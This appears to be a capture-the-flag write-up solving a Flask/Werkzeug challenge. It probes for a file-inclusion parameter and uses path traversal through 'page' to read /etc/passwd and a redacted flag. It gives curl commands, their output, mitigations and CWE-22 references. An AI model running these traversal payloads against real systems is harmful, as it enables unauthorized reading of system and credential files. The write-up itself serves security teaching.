Overview
The challenge presents a Flask/Werkzeug application themed around a “Quiet Grove”, with a clue pointing to /health. The goal is to discover the hidden inclusion mechanism and read arbitrary files, including the flag.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The inclusion parameter is page, supplied as a query string. curl -G --data-urlencode is used so traversal sequences are passed cleanly.
Recon
Step 1 — Verify the application is alive
Goal: Confirm the app responds and identify its stack.
curl -i "$TARGET/health"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
OK
Server: Werkzeug/3.1.9 Python/3.10.21
Interpretation: The app is Flask/Werkzeug, making local file/template inclusion a viable lead.
Enumeration
Step 2 — Find the inclusion parameter
Goal: Identify which query parameter controls backend page loading.
for p in include file page path template view; do
echo "===== $p ====="
curl -s -i "$TARGET/?$p=/health" | head -20
done
Most parameters returned the normal page, but ?page=/health returned:
<h2>Oops! Something went wrong while loading the page.</h2>
Interpretation: page is processed by the backend — it controls page/file loading.
Step 3 — Test for path traversal
Goal: Confirm page can read files outside the intended directory.
curl -s -G "$TARGET/" \
--data-urlencode 'page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
The same worked with fewer traversal components (../../../etc/passwd).
Interpretation: page is vulnerable to path traversal / local file inclusion (LFI) — arbitrary file read is confirmed.
Vulnerability Analysis
The flaw class is Path Traversal / Local File Inclusion (CWE-22: Improper Limitation of a Pathname to a Restricted Directory).
Exploitation
Step 4 — Read the flag
Goal: Read likely flag locations via the traversal primitive.
First, page=../flag.txt returned the error page, so the current-directory form was tried:
curl -i -G "$TARGET/" \
--data-urlencode 'page=./flag.txt'
safctf{REDACTED}
Interpretation: ./flag.txt resolved to the flag file relative to the application’s base directory, completing the solve.
Flag
safctf{REDACTED}
Retrieved via page=./flag.txt through the path-traversal / LFI primitive.
Lessons / Takeaways
- A parameter that behaves differently for an innocuous value (
page=/healtherrors) is an inclusion candidate — probe it. - Path traversal works with both deep (
../../../../) and shallow (../) sequences; try multiple depths and relative forms (./file). - Confirm arbitrary file read with
/etc/passwdbefore hunting for the flag.
Mitigations
- Do not interpolate user input into file paths; use an allow-list of permitted pages/files.
- Canonicalize and validate the resolved path (
Path.resolve()+is_relative_to()) so it stays inside the intended directory. - Serve static content through a dedicated static-file route rather than dynamic inclusion.
Techniques
- Path Traversal
- Local File Inclusion
References
- OWASP, “Path Traversal”: https://owasp.org/www-community/attacks/Path_Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’): https://cwe.mitre.org/data/definitions/22.html

